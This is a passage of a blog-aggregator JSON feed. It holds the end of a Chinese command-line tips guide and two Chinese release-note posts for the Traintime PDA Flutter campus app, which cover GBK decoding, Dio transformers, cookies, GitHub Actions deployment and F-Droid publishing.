href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E5%AE%9E%E7%94%A8-Windows-%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"实用 Windows 命令行工具\"\u003e\u003c/a\u003e实用 Windows 命令行工具\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e可以使用 \u003ccode\u003ewmic\u003c/code\u003e 在命令行环境下给大部分 Windows 系统管理任务编写脚本以及执行这些任务。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eWindows 实用的原生命令行网络工具包括 \u003ccode\u003eping\u003c/code\u003e,\u003ccode\u003eipconfig\u003c/code\u003e,\u003ccode\u003etracert\u003c/code\u003e,和 \u003ccode\u003enetstat\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e可以使用 \u003ccode\u003eRundll32\u003c/code\u003e 命令来实现\u003ca href=\"http://www.thewindowsclub.com/rundll32-shortcut-commands-windows\"\u003e许多有用的 Windows 任务\u003c/a\u003e 。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"Cygwin-技巧\"\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#Cygwin-%E6%8A%80%E5%B7%A7\" class=\"headerlink\" title=\"Cygwin 技巧\"\u003e\u003c/a\u003eCygwin 技巧\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e通过 Cygwin 的包管理器来安装额外的 Unix 程序。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ccode\u003emintty\u003c/code\u003e 作为你的命令行窗口。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e要访问 Windows 剪贴板,可以通过 \u003ccode\u003e/dev/clipboard\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e运行 \u003ccode\u003ecygstart\u003c/code\u003e 以通过默认程序打开一个文件。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e要访问 Windows 注册表,可以使用 \u003ccode\u003eregtool\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e注意 Windows 驱动器路径 \u003ccode\u003eC:\\\u003c/code\u003e 在 Cygwin 中用 \u003ccode\u003e/cygdrive/c\u003c/code\u003e 代表,而 Cygwin 的 \u003ccode\u003e/\u003c/code\u003e 代表 Windows 中的 \u003ccode\u003eC:\\cygwin\u003c/code\u003e。要转换 Cygwin 和 Windows 风格的路径可以用 \u003ccode\u003ecygpath\u003c/code\u003e。这在需要调用 Windows 程序的脚本里很有用。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e学会使用 \u003ccode\u003ewmic\u003c/code\u003e,你就可以从命令行执行大多数 Windows 系统管理任务,并编成脚本。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e要在 Windows 下获得 Unix 的界面和体验,另一个办法是使用 \u003ca href=\"https://github.com/dthree/cash\"\u003eCash\u003c/a\u003e。需要注意的是,这个环境支持的 Unix 命令和命令行参数非常少。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e要在 Windows 上获取 GNU 开发者工具(比如 GCC)的另一个办法是使用 \u003ca href=\"http://www.mingw.org/\"\u003eMinGW\u003c/a\u003e 以及它的 \u003ca href=\"http://www.mingw.org/wiki/msys\"\u003eMSYS\u003c/a\u003e 软件包,该软件包提供了 bash、gawk、make、grep 等工具。然而 MSYS 提供的功能没有 Cygwin 完善。MinGW 在创建 Unix 工具的 Windows 原生移植方面非常有用。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"更多资源\"\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E6%9B%B4%E5%A4%9A%E8%B5%84%E6%BA%90\" class=\"headerlink\" title=\"更多资源\"\u003e\u003c/a\u003e更多资源\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://github.com/alebcay/awesome-shell\"\u003eawesome-shell\u003c/a\u003e:一份精心组织的命令行工具及资源的列表。\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://github.com/herrbischoff/awesome-osx-command-line\"\u003eawesome-osx-command-line\u003c/a\u003e:一份针对 OS X 命令行的更深入的指南。\u003c/li\u003e\u003cli\u003e\u003ca href=\"http://redsymbol.net/articles/unofficial-bash-strict-mode/\"\u003eStrict mode\u003c/a\u003e:为了编写更好的脚本文件。\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://github.com/koalaman/shellcheck\"\u003eshellcheck\u003c/a\u003e:一个静态 shell 脚本分析工具,本质上是 bash/sh/zsh 的 lint。\u003c/li\u003e\u003cli\u003e\u003ca href=\"http://www.dwheeler.com/essays/filenames-in-shell.html\"\u003eFilenames and Pathnames in Shell\u003c/a\u003e:有关如何在 shell 脚本里正确处理文件名的细枝末节。\u003c/li\u003e\u003cli\u003e\u003ca href=\"http://datascienceatthecommandline.com/#tools\"\u003eData Science at the Command Line\u003c/a\u003e:用于数据科学的一些命令和工具,摘自同名书籍。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"免责声明\"\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E5%85%8D%E8%B4%A3%E5%A3%B0%E6%98%8E\" class=\"headerlink\" title=\"免责声明\"\u003e\u003c/a\u003e免责声明\u003c/h2\u003e\u003cp\u003e除去特别小的工作,你编写的代码应当方便他人阅读。能力往往伴随着责任,你 \u003cem\u003e有能力\u003c/em\u003e 在 Bash 中玩一些奇技淫巧并不意味着你应该去做!;)\u003c/p\u003e\u003ch2 id=\"授权条款\"\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E6%8E%88%E6%9D%83%E6%9D%A1%E6%AC%BE\" class=\"headerlink\" title=\"授权条款\"\u003e\u003c/a\u003e授权条款\u003c/h2\u003e\u003cp\u003e\u003ca href=\"http://creativecommons.org/licenses/by-sa/4.0/\"\u003e\u003cimg src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" alt=\"Creative Commons License\"/\u003e\u003c/a\u003e\u003c/p\u003e\u003cp\u003e本文使用授权协议 \u003ca href=\"http://creativecommons.org/licenses/by-sa/4.0/\"\u003eCreative Commons Attribution-ShareAlike 4.0 International License\u003c/a\u003e。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/"}]},{"name":"SuperBart/BenderBlog","email":"","uri":"https://www.superbart.xyz/","description":"Recent content on SuperBart/BenderBlog","article":[{"title":"Traintime PDA v0.4.0 发行简记","time":"2023-10-01T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://legacy.superbart.xyz/picture/xdyou/homepage.jpg\" alt=\"Featured image of post Traintime PDA v0.4.0 发行简记\"/\u003e\u003ch1 id=\"traintime-pda-030--040-发行简记\"\u003eTraintime PDA 0.3.0 \u0026amp; 0.4.0 发行简记\u003c/h1\u003e\n\u003cp\u003e本来我是不想现在就上架 App Store,但是电表突然上架了。虽然目前功能少,但着实打了一惊,我也顾不上我软件的不成熟,也上架了。看来大家还是很认可我的软件,所以感觉可以。我也很感谢很多帮我的人,无论是画吉祥物的,还是帮我发传单的,给我 UI 设计提出建议的。\u003c/p\u003e\n\u003cp\u003e之前我好像说过学校“揭榜”的事情,这玩意确实有点用,就是在面试时候问项目背景的时候,至少能扯到学校:-P\u003c/p\u003e\n\u003cp\u003e说是发行简记,实际上我要写很多的技术相关细节。\u003c/p\u003e\n\u003ch2 id=\"新功能\"\u003e新功能\u003c/h2\u003e\n\u003cp\u003e不包括 bug 修复。\u003c/p\u003e\n\u003ch3 id=\"v030\"\u003ev0.3.0\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003eiOS 版本添加吉祥物,绘画者是 \u003ca class=\"link\" href=\"https://ray.al/\" target=\"_blank\" rel=\"noopener\"\u003eRay\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e应用内信息,会有开发者发出的学校/社团/应用信息\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"v040\"\u003ev0.4.0\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e物理实验查看功能\u003c/li\u003e\n\u003cli\u003e现在必须填写密码才能看体育打卡记录。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于接下来的任务\"\u003e关于接下来的任务\u003c/h2\u003e\n\u003cp\u003e可以加入我程序的 \u003ca class=\"link\" href=\"https://testflight.apple.com/join/pLKe5B4q\" target=\"_blank\" rel=\"noopener\"\u003eTestflight\u003c/a\u003e 来尝鲜。\u003c/p\u003e\n\u003ch3 id=\"v04x-计划\"\u003ev0.4.x 计划\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e课表添加输出为 icalender 格式,方便 iOS 导入日历。\u003c/li\u003e\n\u003cli\u003eXDU Planet 买个新服务器运行起来。\u003c/li\u003e\n\u003cli\u003e优化掉一些不需要控制器的页面,减少加载失败概率。\u003c/li\u003e\n\u003cli\u003e把体育打卡成绩加回来。\u003c/li\u003e\n\u003cli\u003e新知道个查签到次数的脚本,打算集成。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"v100-计划\"\u003ev1.0.0 计划\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e优化首页 UI 的设计。\u003c/li\u003e\n\u003cli\u003e集成考试,物理实验到课表内,进行统一的日程展示。(大功能,容易鸽子)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"将来计划\"\u003e将来计划\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e桌面小部件。\u003c/li\u003e\n\u003cli\u003e研究生版本打算写个网页服务器,输入学号密码获取 icalender 课表。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于技术相关\"\u003e关于技术相关\u003c/h2\u003e\n\u003ch3 id=\"关于物理实验乱码处理和-dio-转换器\"\u003e关于物理实验,乱码处理和 Dio 转换器\u003c/h3\u003e\n\u003cp\u003e我们学校目前的物理实验服务器使用的是 2005 年的 ASP 技术,重点在 2005 年。实际上技术差点也没啥,但是有两点属实离谱:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e所有的信息都是用 GB2312 编码的。\u003c/li\u003e\n\u003cli\u003e传回的 Cookie 有中文字符的字段。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e其中第二点是最离谱的。\u003c/p\u003e\n\u003cp\u003e对于 Dart 底层的默认 UTF-16 String 来说,这俩点属实头疼。\u003c/p\u003e\n\u003ch4 id=\"乱码处理\"\u003e乱码处理\u003c/h4\u003e\n\u003cp\u003e乱码实际上很常见,常知道的锟斤拷梗就跟这个相关。毕竟汉字跟英文一样,在电脑底层都是需要用二进制编码来表示的。简体中文汉字有两个主要编码:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e国标码:一个用于编码汉字和一些日韩字符的国家标准,主要有 GB2312,GBK,GB18030 三个标准,呈现继承与发展(向下兼容)的特性。请查看\u003ca class=\"link\" href=\"https://zhuanlan.zhihu.com/p/453675608\" target=\"_blank\" rel=\"noopener\"\u003e这个链接\u003c/a\u003e来搞清国标码(GBK)相关。Windows 默认就是这个编码。国标码是定长编码,基本使用两个字节(16 位二进制位)来表示一个汉字。\u003c/li\u003e\n\u003cli\u003eUTF 编码:国际上有个统一码联盟,他们负责给全世界所有的字符编码,称为 Unicode。很早他们就支持了中日韩三个语言字符的编码(由于文字特性,中日韩字符在他们的体系中,在一个分区)。Unicode 只是规定了字符对应的二进制表示,但实际使用,位数过长而且浪费很多,所以实际使用只能继续缩短,使用更短的变长编码,称为 UTF。UTF 分成很多版本,一般代表了最短编码位数是多少。Linux / Mac + 互联网数据一般都是用这个编码。详情可以查看\u003ca class=\"link\" href=\"https://zhuanlan.zhihu.com/p/427488961\" target=\"_blank\" rel=\"noopener\"\u003e这个链接\u003c/a\u003e。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e说到变长编码知识,计算机组成会讲汇编命令是如何编码的,那里会讲的。\u003c/p\u003e\n\u003cp\u003e很明显,如果用 UTF 编码解析国标码,绝对会解析出不正常的数据。大巧不巧,Dart 语言的 String 本质上是一个 UTF-16 编码的序列。于是问题就产生了。\u003c/p\u003e\n\u003cp\u003e国标码是定长编码,而 UTF 是变长编码,很显然是基本没法兼容的。不兼容还好,在我的实践中,用 UTF 编码先编码回二进制信息,然后用国标码解码信息,大概率是无法得到正确的数据。\u003c/p\u003e\n\u003cp\u003e所以我目前程序中,需要让网络库不能用 Dart 的 String 来解码我的数据,我需要一个支持国标码的解码库。\u003c/p\u003e\n\u003ch4 id=\"dart--flutter-的-gbk-解码库\"\u003eDart / Flutter 的 GBK 解码库\u003c/h4\u003e\n\u003cp\u003e这个实际上有两种:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e流行方案:使用 UTF 和 GBK 的码表一一对应,方便转换。这个方式对平台很灵活,缺点需要让我程序增大 500k 左右,而且这种方式在执行时候也会有些慢。\u003c/li\u003e\n\u003cli\u003e调用系统的解码接口来解码信息,我使用的是这个方案。但是缺点也很明显,如果没有对目标系统适配,解码就很难办。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e最终我使用的是这个库:\u003ca class=\"link\" href=\"https://pub.dev/packages/charset_converter\" target=\"_blank\" rel=\"noopener\"\u003echarset_converter\u003c/a\u003e。它目前能 Windows,Android,iOS 三个系统的转码,而且使用很方便。他支持很多编码,但我主要用国标码。\u003c/p\u003e\n\u003ch4 id=\"关于-dio-的转换器\"\u003e关于 Dio 的转换器\u003c/h4\u003e\n\u003cp\u003eDio 的网络请求使用的是过滤器流水线模式:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eHTTP 请求 -\u0026gt; 若干拦截器 -\u0026gt; 转换器 -\u0026gt; Dart 底层实现或系统网络实现\n响应的二进制码 -\u0026gt; 转换器 -\u0026gt; 若干拦截器 -\u0026gt; HTTP 响应\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e拦截器一般处理 Cookie,判断响应码之类。目前 Dio 的拦截器不支持异步方法。\u003c/p\u003e\n\u003cp\u003e转换器 Transformer 是一个二进制码和 HTTP 请求响应结构互相转化的桥梁。默认的 Transformer 是解码后用来对 body 进行判断的。由于我上面提到,不能用 UTF 先编码再解码,所以我定制了一个 Transformer,称为 \u003ccode\u003eExperimentDioTransformer\u003c/code\u003e。在一些基本对 Body 的二进制解析后,直接用 GBK 解码库来返回数据。学校物理实验服务器都是返回的网页,所以这么写没啥问题。\u003c/p\u003e\n\u003ch4 id=\"关于-cookie-有中文字符\"\u003e关于 Cookie 有中文字符\u003c/h4\u003e\n\u003cp\u003e可以看看\u003ca class=\"link\" href=\"https://github.com/cfug/dio/issues/1959\" target=\"_blank\" rel=\"noopener\"\u003e我在 Dio 开发仓库提出的问题\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003eCookie 的官方规范,是仅允许一部分 ASCII 码作为合法字符的,Dart 核心库的 Cookie 实现严格遵照这个规范。但是令我哭笑不得的是,咱学校物理实验服务器传回的 Cookie 包含中文字符,就是这个用户的名字。加上 GBK 导致的编码,最后的结果自然就是报错,扔出“错误编码异常”。\u003c/p\u003e\n\u003cp\u003e人官方严格按照标准,无可厚非。我为了这个玩意折腾了很长时间,直到最后,有个人告诉我,那个 Cookie 给服务器传任何值都可以,我无语了……\u003c/p\u003e\n\u003ch3 id=\"关于应用内信息的分发机制\"\u003e关于应用内信息的分发机制\u003c/h3\u003e\n\u003cp\u003e借鉴了\u003ca class=\"link\" href=\"https://github.com/xeonds/xdu-planet\" target=\"_blank\" rel=\"noopener\"\u003e这个项目\u003c/a\u003e。接下来,根据我的“服务器”和借鉴项目的 Github Action 配置文件,我给大家做一个大致的部署过程讲解。\u003c/p\u003e\n\u003ch4 id=\"借鉴项目的-action\"\u003e借鉴项目的 Action\u003c/h4\u003e\n\u003cp\u003eGo 版本的 XDU Planet,本质上就是 RSS 处理转 json,然后用 gin 开服务器端口。这个项目使用 Github Action 来每小时更新,然后更新成一个 json 文件,最后搞到 Github Page。\u003c/p\u003e\n\u003cp\u003e这个项目有三个分支:主代码,配置文件,部署分支。发布流程大致如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eAction 环境初始化,获取代码(Checkout)。\u003c/li\u003e\n\u003cli\u003e对代码进行构建,对于这个项目,就是构建 go 代码和 vue 代码。\u003c/li\u003e\n\u003cli\u003e使用 go 生成的可执行文件,生成 json 文件。\u003c/li\u003e\n\u003cli\u003e上传生成的网页和 json 到部署分支,然后在部署分支的基础上部署 Github Action。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"我的通知服务器\"\u003e我的“通知服务器”\u003c/h4\u003e\n\u003cp\u003e可以看看\u003ca class=\"link\" href=\"https://github.com/BenderBlog/traintime_pda_backend\" target=\"_blank\" rel=\"noopener\"\u003e这个链接\u003c/a\u003e。核心技术就是用 \u003ca class=\"link\" href=\"https://github.com/johnkerl/miller\" target=\"_blank\" rel=\"noopener\"\u003eMiller\u003c/a\u003e 来将 csv 转换成 json,然后用 Github Action 推到 Page 服务。同样的,这个项目有两个分支:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003emain 分支:存储 csv 文件和 Github Action 配置文件。\u003c/li\u003e\n\u003cli\u003edepoly 分支:存储需要通过 Github Page 发布的 json 文件。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e发布流程和上面的差不多:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eAction 环境初始化,获取代码(Checkout)。\u003c/li\u003e\n\u003cli\u003e将 csv 转换为 json 文件。\u003c/li\u003e\n\u003cli\u003e上传 json 到部署分支,然后在 depoly 分支的基础上部署 Github Action。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"关于一点点-ios-开屏娘的事情\"\u003e关于一点点 iOS 开屏娘的事情\u003c/h3\u003e\n\u003cp\u003e这个玩意主要用到了 XCode 的界面设计工具。长这样:\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/xdyou/XDYou_XCode_LaunchImage.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/xdyou/XDYou_XCode_LaunchImage.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003eApple Store 上架需要程序有个开屏图,我于是找个人画个漫画。画家顺便画个手绘板的图标,风格对应了。\u003c/p\u003e\n\u003cp\u003e这个玩意我当时搞了接近一个下午才搞成,大部分时间在摸索这玩意到底咋用,小部分时间在看各个手机屏幕大小情况下的排版状况。最终我摸索出这样的排版:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e上面人脸下面图标,在一个中轴线上。\u003c/li\u003e\n\u003cli\u003e人脸大小写死,因为我不知道如何动态调整图片大小:P 图标比例写死 1:1。\u003c/li\u003e\n\u003cli\u003e人脸中心在 Y 轴中心上面(减去) 80px 处,图标在 Y 轴下面(加上) 200 像素处。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"dreams-never-end-by-new-order-former-joy-division\"\u003eDreams Never End by New Order (former Joy Division)\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Sy4y1E7Uy\" target=\"_blank\" rel=\"noopener\"\u003e歌曲的 MV 点此观看\u003c/a\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eMy promise could be your fiend \nA given end to your dreams \nA simple movement or rhyme \nCould be the smallest of signs \nWe\u0026#39;ll never know what they are or care \nIn it\u0026#39;s escapable view \nThere\u0026#39;s no escape so few in fear \nGive in a changing value \n\nTo be given your sight \nHid in a long peaceful night \nA nervous bride for your eyes \nA fractured smile that soon dies \nA love that\u0026#39;s wrong from your life and soul \nA savage mine had begun \nHello, farewell to your love and soul \nHello, farewell to your soul \n\nNow I know what those hands would do \nNo looking back now, we\u0026#39;re pushing through \nWe\u0026#39;ll change these feelings, we\u0026#39;ll taste and see \nBut never guess how the him would scream \nBut never guess how the him would scream \nBut never guess how the him would scream \n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eYours and us legacy continues, no matter what happens…\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/traintime-pda-v0.4.0-release-note.html"},{"title":"Traintime PDA v0.2.0 发行简记","time":"2023-08-16T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://legacy.superbart.xyz/picture/xdyou/homepage.jpg\" alt=\"Featured image of post Traintime PDA v0.2.0 发行简记\"/\u003e\u003cp\u003e没想到很快我就发了 v0.2.0 版本,和 v0.1.0 版本相比,我感觉更多的是完善,和准备上架。\u003c/p\u003e\n\u003cp\u003e说是发行简记,实际上我要写很多的技术相关细节。\u003c/p\u003e\n\u003ch2 id=\"新功能介绍\"\u003e新功能介绍\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e空闲教室查看功能,写起来比我想的简单。但是我是大摆子,我不知道真的会有人用嘛.png\u003c/li\u003e\n\u003cli\u003e移除西电目录,使用电话本代替。点击对应卡片可以拨出电话。\u003c/li\u003e\n\u003cli\u003e很多的 WebView 功能,比如报修啥的。这玩意主要可以水功能,还能对标其他产品。\u003c/li\u003e\n\u003cli\u003e应某个工作室请求,我写了个双创需求大厅,希望各位能从上面更好地拉队友(别跟我一样啥奖都没有,QAQ)\u003c/li\u003e\n\u003cli\u003e校园网感觉短期内不会有写的必要了,所以写进 WebView 了(溜)。\u003c/li\u003e\n\u003cli\u003e顺利上架 F-Droid,然后貌似站点就给墙了?\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于接下来的任务\"\u003e关于接下来的任务\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e物理实验查询,我目前不做实验了,所以可能得找人帮忙了()\u003c/li\u003e\n\u003cli\u003e上架 iOS 商店。\u003c/li\u003e\n\u003cli\u003eiOS 和 Android 小部件,我需要进一步研究。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于上架-ios\"\u003e关于上架 iOS\u003c/h2\u003e\n\u003cp\u003e目前我打算这个版本尝试申请 Testflight。据我所知,至少有三个组+两个人也在写这个东西,我无论如何也得打出去第一炮。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e这里我无端想到了《东周列国春秋篇》电视剧里面的要离。\u003c/p\u003e\n\u003cp\u003e中学学过“专诸刺王僚,要离刺庆忌”,不知道咋回事。看了电视剧才知道,他为了出名,壮士断腕。吴王阖闾说:“你是要名,还是要家?”结果就不必说了……\u003c/p\u003e\n\u003cp\u003e我现在也有点那啥,我为了这玩意,已经砸进去很多了。我这辈子都没一次性花这么多钱,现在我不上架,真对不住那么钱了。但上架了话,真的会有那么多人用嘛?\u003c/p\u003e\n\u003cp\u003e我这玩意,真要跟电表,跟其他原生,可以说是被爆打。也许就真的只是“开源+第一个上架”?开源这年头算毛线的优势?\u003c/p\u003e\n\u003cp\u003e写这个程序有一段时间,我一直在想这件事,不过现在释然了。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"关于技术相关\"\u003e关于技术相关\u003c/h2\u003e\n\u003cp\u003e点击这个可以查看\u003ca class=\"link\" href=\"https://superbart.xyz/p/traintime-pda-v0.1.0-release-note.html\" target=\"_blank\" rel=\"noopener\"\u003ev0.1.0 的技术相关\u003c/a\u003e。\u003c/p\u003e\n\u003ch3 id=\"webview-cookie-相关\"\u003eWebview Cookie 相关\u003c/h3\u003e\n\u003cp\u003e想在 Flutter 使用 Webview ,你可以使用两个插件:\u003ca class=\"link\" href=\"https://pub.dev/packages/webview_flutter\" target=\"_blank\" rel=\"noopener\"\u003ewebview_flutter\u003c/a\u003e 和 \u003ca class=\"link\" href=\"https://pub.dev/packages/flutter_inappwebview\" target=\"_blank\" rel=\"noopener\"\u003eflutter_inappwebview\u003c/a\u003e。前者是官方开发,功能基础;后者是第三方开发,功能强大。我为了保证简洁,使用的是前者。\u003c/p\u003e\n\u003cp\u003e关于插件,网上很多资料都是很老的,我参考了这位的文章:\u003ca class=\"link\" href=\"https://juejin.cn/post/7196698315835260984\" target=\"_blank\" rel=\"noopener\"\u003e在 Flutter 中使用 webview_flutter 4.0\u003c/a\u003e,其中最有用的是第三篇,讲怎么用 Cookie 的。我的程序是这样写的:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eWebView 页面中,接受要前往的网站和获取 Cookie 的网站。\u003c/li\u003e\n\u003cli\u003e在 initState 状态下,初始化 Webview 的 CookieManager 和 Controller。WebView 的控制器可以控制加载,页面前进和回去。\u003c/li\u003e\n\u003cli\u003e在 didChangedDepencies 状态下,根据获取 Cookie 的网站,从 Dio 的 CookieJar 中获取 Cookie。然后控制器请求对应网站。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e具体代码在\u003ca class=\"link\" href=\"https://github.com/BenderBlog/traintime_pda/blob/main/lib/page/homepage/toolbox/webview.dart\" target=\"_blank\" rel=\"noopener\"\u003e这里\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e最后,这个玩意貌似在 iOS 平台下有 bug,Cookie 死活加不进去,我已经提 bug 了:-P\u003c/p\u003e\n\u003ch3 id=\"上架-f-droid-平台\"\u003e上架 F-Droid 平台\u003c/h3\u003e\n\u003cp\u003eF-Droid 有两个好:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e开源的东西多,就是好\u003c/li\u003e\n\u003cli\u003e目前我程序在安卓平台唯一可以“自动更新”的方式\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eFlutter 程序上架,除了官方的,可以参考这位的\u003ca class=\"link\" href=\"https://friesi23.github.io/flutter/android/fdroid/appstore/2023/06/08/submitting-your-flutter-app-to-fdroid.html\" target=\"_blank\" rel=\"noopener\"\u003e上传指南\u003c/a\u003e。我想补充两点————可重复构建,分开架构构建:\u003c/p\u003e\n\u003cp\u003eF-Droid 的可重复构建,对我而言,最主要的就是使分发都带上我的签名。这就需要保证构建元数据需要你签名的 sha256 摘要,和一个可供对照的构建(在我这里就是我在 Github Action 上面的构建)。\u003c/p\u003e\n\u003cp\u003e分开架构构建,就是按照手机架构(arm64,arm32,x86)来构建分发包。这个东西,貌似每个架构的版本构建号还不一样。当时写构建元数据的时候,写到弃疗。他们 F-Droid 的审核人好好,帮我写了T_T\u003c/p\u003e\n\u003cp\u003e我的上架过程可以看看\u003ca class=\"link\" href=\"https://gitlab.com/fdroid/fdroiddata/-/merge_requests/13537\" target=\"_blank\" rel=\"noopener\"\u003e这个链接\u003c/a\u003e,合并请求后四天,真正上架。你们可以从这里\u003ca class=\"link\" href=\"https://f-droid.org/zh_Hans/packages/io.github.benderblog.traintime_pda/\" target=\"_blank\" rel=\"noopener\"\u003e点进链接下载\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e另外说为啥来这里上架,我这软件确实是自由软件。还有,国内上架需要这个那个的,感觉好麻烦,而且已经有电表了,再上架一个感觉也吸引不了多少。\u003c/p\u003e\n\u003ch3 id=\"双创需求大厅相关\"\u003e双创需求大厅相关\u003c/h3\u003e\n\u003cp\u003e这个东西,主要是使用了 Dart 3 的最新语言功能:Records。详情\u003ca class=\"link\" href=\"https://juejin.cn/post/7233067863500849209\" target=\"_blank\" rel=\"noopener\"\u003e看这个文章\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003e我没记错,go 好像能一次性返回两个值。一开始我感觉很神奇,然后相似的东西就降临到 Flutter 了。说回来,如果没有这个东西,我会考虑 Pair / List,大不了写个 class 。\u003c/p\u003e\n\u003cp\u003e双创需求大厅本质上跟找工作网站差不多,都得有个 Popup 来选择职位状况。这个东西的服务器筛选工作,是需要两个东西:一个 String 传大致分类,一个字符串数组传输 tags。我选择这俩东西的部件是写在外面的,需要返回数据的话,我直接写 \u003ccode\u003e(String, List\u0026lt;String\u0026gt;)\u003c/code\u003e 就可以了。读取的这些数据的话,可以通过 \u003ccode\u003e$1\u003c/code\u003e 或 \u003ccode\u003e$2\u003c/code\u003e 来读取。\u003c/p\u003e\n\u003cp\u003e不过这玩意现在只有五个数据,以后会不会变多呢?也许我能通过这个,说一波我程序和xxx合作?\u003c/p\u003e\n\u003ch3 